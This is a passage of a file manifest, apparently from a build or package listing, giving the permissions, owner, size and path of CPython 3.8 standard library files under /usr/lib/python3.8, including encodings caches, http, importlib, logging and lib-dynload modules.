+-rw-r--r-- root root 2328 ./usr/lib/python3.8/encodings/__pycache__/koi8_t.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2384 ./usr/lib/python3.8/encodings/__pycache__/koi8_t.cpython-38.pyc
+-rw-r--r-- root root 2459 ./usr/lib/python3.8/encodings/__pycache__/koi8_u.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2340 ./usr/lib/python3.8/encodings/__pycache__/koi8_u.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2459 ./usr/lib/python3.8/encodings/__pycache__/koi8_u.cpython-38.pyc
+-rw-r--r-- root root 2436 ./usr/lib/python3.8/encodings/__pycache__/kz1048.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2311 ./usr/lib/python3.8/encodings/__pycache__/kz1048.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2436 ./usr/lib/python3.8/encodings/__pycache__/kz1048.cpython-38.pyc
+-rw-r--r-- root root 1893 ./usr/lib/python3.8/encodings/__pycache__/latin_1.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1745 ./usr/lib/python3.8/encodings/__pycache__/latin_1.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1893 ./usr/lib/python3.8/encodings/__pycache__/latin_1.cpython-38.pyc
+-rw-r--r-- root root 7740 ./usr/lib/python3.8/encodings/__pycache__/mac_arabic.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7628 ./usr/lib/python3.8/encodings/__pycache__/mac_arabic.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7740 ./usr/lib/python3.8/encodings/__pycache__/mac_arabic.cpython-38.pyc
+-rw-r--r-- root root 2460 ./usr/lib/python3.8/encodings/__pycache__/mac_centeuro.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2326 ./usr/lib/python3.8/encodings/__pycache__/mac_centeuro.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2460 ./usr/lib/python3.8/encodings/__pycache__/mac_centeuro.cpython-38.pyc
+-rw-r--r-- root root 2468 ./usr/lib/python3.8/encodings/__pycache__/mac_croatian.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2334 ./usr/lib/python3.8/encodings/__pycache__/mac_croatian.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2468 ./usr/lib/python3.8/encodings/__pycache__/mac_croatian.cpython-38.pyc
+-rw-r--r-- root root 2458 ./usr/lib/python3.8/encodings/__pycache__/mac_cyrillic.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2324 ./usr/lib/python3.8/encodings/__pycache__/mac_cyrillic.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2458 ./usr/lib/python3.8/encodings/__pycache__/mac_cyrillic.cpython-38.pyc
+-rw-r--r-- root root 2402 ./usr/lib/python3.8/encodings/__pycache__/mac_farsi.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2274 ./usr/lib/python3.8/encodings/__pycache__/mac_farsi.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2402 ./usr/lib/python3.8/encodings/__pycache__/mac_farsi.cpython-38.pyc
+-rw-r--r-- root root 2442 ./usr/lib/python3.8/encodings/__pycache__/mac_greek.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2314 ./usr/lib/python3.8/encodings/__pycache__/mac_greek.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2442 ./usr/lib/python3.8/encodings/__pycache__/mac_greek.cpython-38.pyc
+-rw-r--r-- root root 2461 ./usr/lib/python3.8/encodings/__pycache__/mac_iceland.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2329 ./usr/lib/python3.8/encodings/__pycache__/mac_iceland.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2461 ./usr/lib/python3.8/encodings/__pycache__/mac_iceland.cpython-38.pyc
+-rw-r--r-- root root 2602 ./usr/lib/python3.8/encodings/__pycache__/mac_latin2.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2322 ./usr/lib/python3.8/encodings/__pycache__/mac_latin2.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2602 ./usr/lib/python3.8/encodings/__pycache__/mac_latin2.cpython-38.pyc
+-rw-r--r-- root root 2459 ./usr/lib/python3.8/encodings/__pycache__/mac_roman.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2331 ./usr/lib/python3.8/encodings/__pycache__/mac_roman.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2459 ./usr/lib/python3.8/encodings/__pycache__/mac_roman.cpython-38.pyc
+-rw-r--r-- root root 2469 ./usr/lib/python3.8/encodings/__pycache__/mac_romanian.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2335 ./usr/lib/python3.8/encodings/__pycache__/mac_romanian.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2469 ./usr/lib/python3.8/encodings/__pycache__/mac_romanian.cpython-38.pyc
+-rw-r--r-- root root 2462 ./usr/lib/python3.8/encodings/__pycache__/mac_turkish.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2330 ./usr/lib/python3.8/encodings/__pycache__/mac_turkish.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2462 ./usr/lib/python3.8/encodings/__pycache__/mac_turkish.cpython-38.pyc
+-rw-r--r-- root root 1711 ./usr/lib/python3.8/encodings/__pycache__/mbcs.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1478 ./usr/lib/python3.8/encodings/__pycache__/mbcs.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1711 ./usr/lib/python3.8/encodings/__pycache__/mbcs.cpython-38.pyc
+-rw-r--r-- root root 1524 ./usr/lib/python3.8/encodings/__pycache__/oem.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1474 ./usr/lib/python3.8/encodings/__pycache__/oem.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1524 ./usr/lib/python3.8/encodings/__pycache__/oem.cpython-38.pyc
+-rw-r--r-- root root 2449 ./usr/lib/python3.8/encodings/__pycache__/palmos.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2312 ./usr/lib/python3.8/encodings/__pycache__/palmos.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2449 ./usr/lib/python3.8/encodings/__pycache__/palmos.cpython-38.pyc
+-rw-r--r-- root root 2543 ./usr/lib/python3.8/encodings/__pycache__/ptcp154.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2304 ./usr/lib/python3.8/encodings/__pycache__/ptcp154.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2543 ./usr/lib/python3.8/encodings/__pycache__/ptcp154.cpython-38.pyc
+-rw-r--r-- root root 6315 ./usr/lib/python3.8/encodings/__pycache__/punycode.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5723 ./usr/lib/python3.8/encodings/__pycache__/punycode.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6315 ./usr/lib/python3.8/encodings/__pycache__/punycode.cpython-38.pyc
+-rw-r--r-- root root 2358 ./usr/lib/python3.8/encodings/__pycache__/quopri_codec.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2260 ./usr/lib/python3.8/encodings/__pycache__/quopri_codec.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2415 ./usr/lib/python3.8/encodings/__pycache__/quopri_codec.cpython-38.pyc
+-rw-r--r-- root root 1762 ./usr/lib/python3.8/encodings/__pycache__/raw_unicode_escape.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1603 ./usr/lib/python3.8/encodings/__pycache__/raw_unicode_escape.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1762 ./usr/lib/python3.8/encodings/__pycache__/raw_unicode_escape.cpython-38.pyc
+-rw-r--r-- root root 3001 ./usr/lib/python3.8/encodings/__pycache__/rot_13.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2851 ./usr/lib/python3.8/encodings/__pycache__/rot_13.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3001 ./usr/lib/python3.8/encodings/__pycache__/rot_13.cpython-38.pyc
+-rw-r--r-- root root 1429 ./usr/lib/python3.8/encodings/__pycache__/shift_jis_2004.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1429 ./usr/lib/python3.8/encodings/__pycache__/shift_jis_2004.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1429 ./usr/lib/python3.8/encodings/__pycache__/shift_jis_2004.cpython-38.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/encodings/__pycache__/shift_jis.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/encodings/__pycache__/shift_jis.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/encodings/__pycache__/shift_jis.cpython-38.pyc
+-rw-r--r-- root root 1429 ./usr/lib/python3.8/encodings/__pycache__/shift_jisx0213.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1429 ./usr/lib/python3.8/encodings/__pycache__/shift_jisx0213.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1429 ./usr/lib/python3.8/encodings/__pycache__/shift_jisx0213.cpython-38.pyc
+-rw-r--r-- root root 2511 ./usr/lib/python3.8/encodings/__pycache__/tis_620.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2390 ./usr/lib/python3.8/encodings/__pycache__/tis_620.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2511 ./usr/lib/python3.8/encodings/__pycache__/tis_620.cpython-38.pyc
+-rw-r--r-- root root 2095 ./usr/lib/python3.8/encodings/__pycache__/undefined.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1766 ./usr/lib/python3.8/encodings/__pycache__/undefined.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2095 ./usr/lib/python3.8/encodings/__pycache__/undefined.cpython-38.pyc
+-rw-r--r-- root root 1742 ./usr/lib/python3.8/encodings/__pycache__/unicode_escape.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1587 ./usr/lib/python3.8/encodings/__pycache__/unicode_escape.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1742 ./usr/lib/python3.8/encodings/__pycache__/unicode_escape.cpython-38.pyc
+-rw-r--r-- root root 1650 ./usr/lib/python3.8/encodings/__pycache__/utf_16_be.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1500 ./usr/lib/python3.8/encodings/__pycache__/utf_16_be.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1650 ./usr/lib/python3.8/encodings/__pycache__/utf_16_be.cpython-38.pyc
+-rw-r--r-- root root 4872 ./usr/lib/python3.8/encodings/__pycache__/utf_16.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4725 ./usr/lib/python3.8/encodings/__pycache__/utf_16.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4872 ./usr/lib/python3.8/encodings/__pycache__/utf_16.cpython-38.pyc
+-rw-r--r-- root root 1650 ./usr/lib/python3.8/encodings/__pycache__/utf_16_le.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1500 ./usr/lib/python3.8/encodings/__pycache__/utf_16_le.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1650 ./usr/lib/python3.8/encodings/__pycache__/utf_16_le.cpython-38.pyc
+-rw-r--r-- root root 1543 ./usr/lib/python3.8/encodings/__pycache__/utf_32_be.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1500 ./usr/lib/python3.8/encodings/__pycache__/utf_32_be.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1543 ./usr/lib/python3.8/encodings/__pycache__/utf_32_be.cpython-38.pyc
+-rw-r--r-- root root 4765 ./usr/lib/python3.8/encodings/__pycache__/utf_32.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4725 ./usr/lib/python3.8/encodings/__pycache__/utf_32.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4765 ./usr/lib/python3.8/encodings/__pycache__/utf_32.cpython-38.pyc
+-rw-r--r-- root root 1543 ./usr/lib/python3.8/encodings/__pycache__/utf_32_le.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1500 ./usr/lib/python3.8/encodings/__pycache__/utf_32_le.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1543 ./usr/lib/python3.8/encodings/__pycache__/utf_32_le.cpython-38.pyc
+-rw-r--r-- root root 1571 ./usr/lib/python3.8/encodings/__pycache__/utf_7.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1484 ./usr/lib/python3.8/encodings/__pycache__/utf_7.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1571 ./usr/lib/python3.8/encodings/__pycache__/utf_7.cpython-38.pyc
+-rw-r--r-- root root 1630 ./usr/lib/python3.8/encodings/__pycache__/utf_8.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1484 ./usr/lib/python3.8/encodings/__pycache__/utf_8.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1630 ./usr/lib/python3.8/encodings/__pycache__/utf_8.cpython-38.pyc
+-rw-r--r-- root root 4546 ./usr/lib/python3.8/encodings/__pycache__/utf_8_sig.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4244 ./usr/lib/python3.8/encodings/__pycache__/utf_8_sig.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4546 ./usr/lib/python3.8/encodings/__pycache__/utf_8_sig.cpython-38.pyc
+-rw-r--r-- root root 3190 ./usr/lib/python3.8/encodings/__pycache__/uu_codec.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2897 ./usr/lib/python3.8/encodings/__pycache__/uu_codec.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3249 ./usr/lib/python3.8/encodings/__pycache__/uu_codec.cpython-38.pyc
+-rw-r--r-- root root 3019 ./usr/lib/python3.8/encodings/__pycache__/zlib_codec.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2853 ./usr/lib/python3.8/encodings/__pycache__/zlib_codec.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3109 ./usr/lib/python3.8/encodings/__pycache__/zlib_codec.cpython-38.pyc
+-rw-r--r-- root root 1525 ./usr/lib/python3.8/encodings/quopri_codec.py
+-rw-r--r-- root root 1208 ./usr/lib/python3.8/encodings/raw_unicode_escape.py
+-rwxr-xr-x root root 2448 ./usr/lib/python3.8/encodings/rot_13.py
+-rw-r--r-- root root 1059 ./usr/lib/python3.8/encodings/shift_jis_2004.py
+-rw-r--r-- root root 1039 ./usr/lib/python3.8/encodings/shift_jis.py
+-rw-r--r-- root root 1059 ./usr/lib/python3.8/encodings/shift_jisx0213.py
+-rw-r--r-- root root 12300 ./usr/lib/python3.8/encodings/tis_620.py
+-rw-r--r-- root root 1299 ./usr/lib/python3.8/encodings/undefined.py
+-rw-r--r-- root root 1184 ./usr/lib/python3.8/encodings/unicode_escape.py
+-rw-r--r-- root root 1037 ./usr/lib/python3.8/encodings/utf_16_be.py
+-rw-r--r-- root root 1037 ./usr/lib/python3.8/encodings/utf_16_le.py
+-rw-r--r-- root root 5236 ./usr/lib/python3.8/encodings/utf_16.py
+-rw-r--r-- root root 930 ./usr/lib/python3.8/encodings/utf_32_be.py
+-rw-r--r-- root root 930 ./usr/lib/python3.8/encodings/utf_32_le.py
+-rw-r--r-- root root 5129 ./usr/lib/python3.8/encodings/utf_32.py
+-rw-r--r-- root root 946 ./usr/lib/python3.8/encodings/utf_7.py
+-rw-r--r-- root root 1005 ./usr/lib/python3.8/encodings/utf_8.py
+-rw-r--r-- root root 4133 ./usr/lib/python3.8/encodings/utf_8_sig.py
+-rw-r--r-- root root 2851 ./usr/lib/python3.8/encodings/uu_codec.py
+-rw-r--r-- root root 2204 ./usr/lib/python3.8/encodings/zlib_codec.py
+-rw-r--r-- root root 34616 ./usr/lib/python3.8/enum.py
+-rw-r--r-- root root 4056 ./usr/lib/python3.8/fnmatch.py
+-rw-r--r-- root root 34768 ./usr/lib/python3.8/ftplib.py
+-rw-r--r-- root root 37406 ./usr/lib/python3.8/functools.py
+-rw-r--r-- root root 5109 ./usr/lib/python3.8/__future__.py
+-rw-r--r-- root root 4975 ./usr/lib/python3.8/genericpath.py
+-rw-r--r-- root root 7489 ./usr/lib/python3.8/getopt.py
+-rw-r--r-- root root 27138 ./usr/lib/python3.8/gettext.py
+-rw-r--r-- root root 5697 ./usr/lib/python3.8/glob.py
+-rw-r--r-- root root 21441 ./usr/lib/python3.8/gzip.py
+-rw-r--r-- root root 9730 ./usr/lib/python3.8/hashlib.py
+-rw-r--r-- root root 22877 ./usr/lib/python3.8/heapq.py
+-rw-r--r-- root root 6629 ./usr/lib/python3.8/hmac.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/http
+-rw-r--r-- root root 54908 ./usr/lib/python3.8/http/client.py
+-rw-r--r-- root root 76835 ./usr/lib/python3.8/http/cookiejar.py
+-rw-r--r-- root root 20412 ./usr/lib/python3.8/http/cookies.py
+-rw-r--r-- root root 6378 ./usr/lib/python3.8/http/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/http/__pycache__
+-rw-r--r-- root root 34204 ./usr/lib/python3.8/http/__pycache__/client.cpython-38.opt-1.pyc
+-rw-r--r-- root root 25225 ./usr/lib/python3.8/http/__pycache__/client.cpython-38.opt-2.pyc
+-rw-r--r-- root root 34303 ./usr/lib/python3.8/http/__pycache__/client.cpython-38.pyc
+-rw-r--r-- root root 53442 ./usr/lib/python3.8/http/__pycache__/cookiejar.cpython-38.opt-1.pyc
+-rw-r--r-- root root 37805 ./usr/lib/python3.8/http/__pycache__/cookiejar.cpython-38.opt-2.pyc
+-rw-r--r-- root root 53642 ./usr/lib/python3.8/http/__pycache__/cookiejar.cpython-38.pyc
+-rw-r--r-- root root 15220 ./usr/lib/python3.8/http/__pycache__/cookies.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10823 ./usr/lib/python3.8/http/__pycache__/cookies.cpython-38.opt-2.pyc
+-rw-r--r-- root root 15268 ./usr/lib/python3.8/http/__pycache__/cookies.cpython-38.pyc
+-rw-r--r-- root root 6064 ./usr/lib/python3.8/http/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5383 ./usr/lib/python3.8/http/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6064 ./usr/lib/python3.8/http/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 34392 ./usr/lib/python3.8/http/__pycache__/server.cpython-38.opt-1.pyc
+-rw-r--r-- root root 22456 ./usr/lib/python3.8/http/__pycache__/server.cpython-38.opt-2.pyc
+-rw-r--r-- root root 34392 ./usr/lib/python3.8/http/__pycache__/server.cpython-38.pyc
+-rw-r--r-- root root 47254 ./usr/lib/python3.8/http/server.py
+-rw-r--r-- root root 53606 ./usr/lib/python3.8/imaplib.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/importlib
+-rw-r--r-- root root 12873 ./usr/lib/python3.8/importlib/abc.py
+-rw-r--r-- root root 62357 ./usr/lib/python3.8/importlib/_bootstrap_external.py
+-rw-r--r-- root root 39644 ./usr/lib/python3.8/importlib/_bootstrap.py
+-rw-r--r-- root root 6061 ./usr/lib/python3.8/importlib/__init__.py
+-rw-r--r-- root root 844 ./usr/lib/python3.8/importlib/machinery.py
+-rw-r--r-- root root 17607 ./usr/lib/python3.8/importlib/metadata.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/importlib/__pycache__
+-rw-r--r-- root root 13573 ./usr/lib/python3.8/importlib/__pycache__/abc.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6762 ./usr/lib/python3.8/importlib/__pycache__/abc.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13573 ./usr/lib/python3.8/importlib/__pycache__/abc.cpython-38.pyc
+-rw-r--r-- root root 28573 ./usr/lib/python3.8/importlib/__pycache__/_bootstrap.cpython-38.opt-1.pyc
+-rw-r--r-- root root 21814 ./usr/lib/python3.8/importlib/__pycache__/_bootstrap.cpython-38.opt-2.pyc
+-rw-r--r-- root root 28605 ./usr/lib/python3.8/importlib/__pycache__/_bootstrap.cpython-38.pyc
+-rw-r--r-- root root 43406 ./usr/lib/python3.8/importlib/__pycache__/_bootstrap_external.cpython-38.opt-1.pyc
+-rw-r--r-- root root 32285 ./usr/lib/python3.8/importlib/__pycache__/_bootstrap_external.cpython-38.opt-2.pyc
+-rw-r--r-- root root 43710 ./usr/lib/python3.8/importlib/__pycache__/_bootstrap_external.cpython-38.pyc
+-rw-r--r-- root root 3758 ./usr/lib/python3.8/importlib/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3079 ./usr/lib/python3.8/importlib/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3758 ./usr/lib/python3.8/importlib/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 962 ./usr/lib/python3.8/importlib/__pycache__/machinery.cpython-38.opt-1.pyc
+-rw-r--r-- root root 822 ./usr/lib/python3.8/importlib/__pycache__/machinery.cpython-38.opt-2.pyc
+-rw-r--r-- root root 962 ./usr/lib/python3.8/importlib/__pycache__/machinery.cpython-38.pyc
+-rw-r--r-- root root 20840 ./usr/lib/python3.8/importlib/__pycache__/metadata.cpython-38.opt-1.pyc
+-rw-r--r-- root root 15073 ./usr/lib/python3.8/importlib/__pycache__/metadata.cpython-38.opt-2.pyc
+-rw-r--r-- root root 20840 ./usr/lib/python3.8/importlib/__pycache__/metadata.cpython-38.pyc
+-rw-r--r-- root root 6480 ./usr/lib/python3.8/importlib/__pycache__/resources.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5135 ./usr/lib/python3.8/importlib/__pycache__/resources.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6480 ./usr/lib/python3.8/importlib/__pycache__/resources.cpython-38.pyc
+-rw-r--r-- root root 9292 ./usr/lib/python3.8/importlib/__pycache__/util.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6423 ./usr/lib/python3.8/importlib/__pycache__/util.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9292 ./usr/lib/python3.8/importlib/__pycache__/util.cpython-38.pyc
+-rw-r--r-- root root 9437 ./usr/lib/python3.8/importlib/resources.py
+-rw-r--r-- root root 11319 ./usr/lib/python3.8/importlib/util.py
+-rw-r--r-- root root 10536 ./usr/lib/python3.8/imp.py
+-rw-r--r-- root root 118040 ./usr/lib/python3.8/inspect.py
+-rw-r--r-- root root 3541 ./usr/lib/python3.8/io.py
+-rw-r--r-- root root 71160 ./usr/lib/python3.8/ipaddress.py
+-rw-r--r-- root root 945 ./usr/lib/python3.8/keyword.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/lib-dynload
+-rwxr-xr-x root root 65816 ./usr/lib/python3.8/lib-dynload/array.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 31736 ./usr/lib/python3.8/lib-dynload/binascii.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 14760 ./usr/lib/python3.8/lib-dynload/_bisect.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 44664 ./usr/lib/python3.8/lib-dynload/_blake2.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 27896 ./usr/lib/python3.8/lib-dynload/_bz2.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 43896 ./usr/lib/python3.8/lib-dynload/cmath.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 14384 ./usr/lib/python3.8/lib-dynload/_crypt.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 37240 ./usr/lib/python3.8/lib-dynload/_csv.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 99712 ./usr/lib/python3.8/lib-dynload/_datetime.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 76160 ./usr/lib/python3.8/lib-dynload/_elementtree.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 18856 ./usr/lib/python3.8/lib-dynload/grp.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 36600 ./usr/lib/python3.8/lib-dynload/_hashlib.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 22640 ./usr/lib/python3.8/lib-dynload/_heapq.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 40920 ./usr/lib/python3.8/lib-dynload/_lzma.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 57208 ./usr/lib/python3.8/lib-dynload/math.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 19352 ./usr/lib/python3.8/lib-dynload/_md5.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 14520 ./usr/lib/python3.8/lib-dynload/_opcode.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 27856 ./usr/lib/python3.8/lib-dynload/parser.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 113208 ./usr/lib/python3.8/lib-dynload/_pickle.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 22680 ./usr/lib/python3.8/lib-dynload/_posixsubprocess.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 233072 ./usr/lib/python3.8/lib-dynload/pyexpat.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 19320 ./usr/lib/python3.8/lib-dynload/_queue.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 19024 ./usr/lib/python3.8/lib-dynload/_random.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 35672 ./usr/lib/python3.8/lib-dynload/readline.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 32632 ./usr/lib/python3.8/lib-dynload/select.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 15256 ./usr/lib/python3.8/lib-dynload/_sha1.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 24024 ./usr/lib/python3.8/lib-dynload/_sha256.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 82960 ./usr/lib/python3.8/lib-dynload/_sha3.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 28120 ./usr/lib/python3.8/lib-dynload/_sha512.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 99056 ./usr/lib/python3.8/lib-dynload/_socket.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 191272 ./usr/lib/python3.8/lib-dynload/_ssl.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 50392 ./usr/lib/python3.8/lib-dynload/_struct.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 30576 ./usr/lib/python3.8/lib-dynload/termios.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 1091200 ./usr/lib/python3.8/lib-dynload/unicodedata.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 14384 ./usr/lib/python3.8/lib-dynload/_uuid.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 40888 ./usr/lib/python3.8/lib-dynload/zlib.cpython-38-x86_64-linux-gnu.so
+-rw-r--r-- root root 5312 ./usr/lib/python3.8/linecache.py
+-rw-r--r-- root root 78191 ./usr/lib/python3.8/locale.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/logging
+-rw-r--r-- root root 36357 ./usr/lib/python3.8/logging/config.py
+-rw-r--r-- root root 57885 ./usr/lib/python3.8/logging/handlers.py
+-rw-r--r-- root root 77642 ./usr/lib/python3.8/logging/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/logging/__pycache__
+-rw-r--r-- root root 23178 ./usr/lib/python3.8/logging/__pycache__/config.cpython-38.opt-1.pyc
+-rw-r--r-- root root 19068 ./usr/lib/python3.8/logging/__pycache__/config.cpython-38.opt-2.pyc
+-rw-r--r-- root root 23224 ./usr/lib/python3.8/logging/__pycache__/config.cpython-38.pyc
+-rw-r--r-- root root 43156 ./usr/lib/python3.8/logging/__pycache__/handlers.cpython-38.opt-1.pyc
+-rw-r--r-- root root 24449 ./usr/lib/python3.8/logging/__pycache__/handlers.cpython-38.opt-2.pyc
+-rw-r--r-- root root 43156 ./usr/lib/python3.8/logging/__pycache__/handlers.cpython-38.pyc
+-rw-r--r-- root root 64839 ./usr/lib/python3.8/logging/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 36341 ./usr/lib/python3.8/logging/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 64871 ./usr/lib/python3.8/logging/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 12983 ./usr/lib/python3.8/lzma.py
+-rw-r--r-- root root 14598 ./usr/lib/python3.8/_markupbase.py
+-rw-r--r-- root root 21604 ./usr/lib/python3.8/mimetypes.py
+-rw-r--r-- root root 43261 ./usr/lib/python3.8/nntplib.py
+-rw-r--r-- root root 27734 ./usr/lib/python3.8/ntpath.py
+-rw-r--r-- root root 5808 ./usr/lib/python3.8/opcode.py
+-rw-r--r-- root root 10711 ./usr/lib/python3.8/operator.py
+-rw-r--r-- root root 60369 ./usr/lib/python3.8/optparse.py
+-rw-r--r-- root root 38995 ./usr/lib/python3.8/os.py
+-rw-r--r-- root root 51839 ./usr/lib/python3.8/pathlib.py
+-rw-r--r-- root root 64395 ./usr/lib/python3.8/pickle.py
+-rw-r--r-- root root 93486 ./usr/lib/python3.8/pickletools.py
+-rw-r--r-- root root 8916 ./usr/lib/python3.8/pipes.py
+-rw-r--r-- root root 21461 ./usr/lib/python3.8/pkgutil.py
+-rwxr-xr-x root root 40328 ./usr/lib/python3.8/platform.py
+-rw-r--r-- root root 15077 ./usr/lib/python3.8/poplib.py
+-rw-r--r-- root root 15627 ./usr/lib/python3.8/posixpath.py
+drwxr-xr-x root root 20480 ./usr/lib/python3.8/__pycache__
+-rw-r--r-- root root 5334 ./usr/lib/python3.8/__pycache__/abc.cpython-38.opt-1.pyc
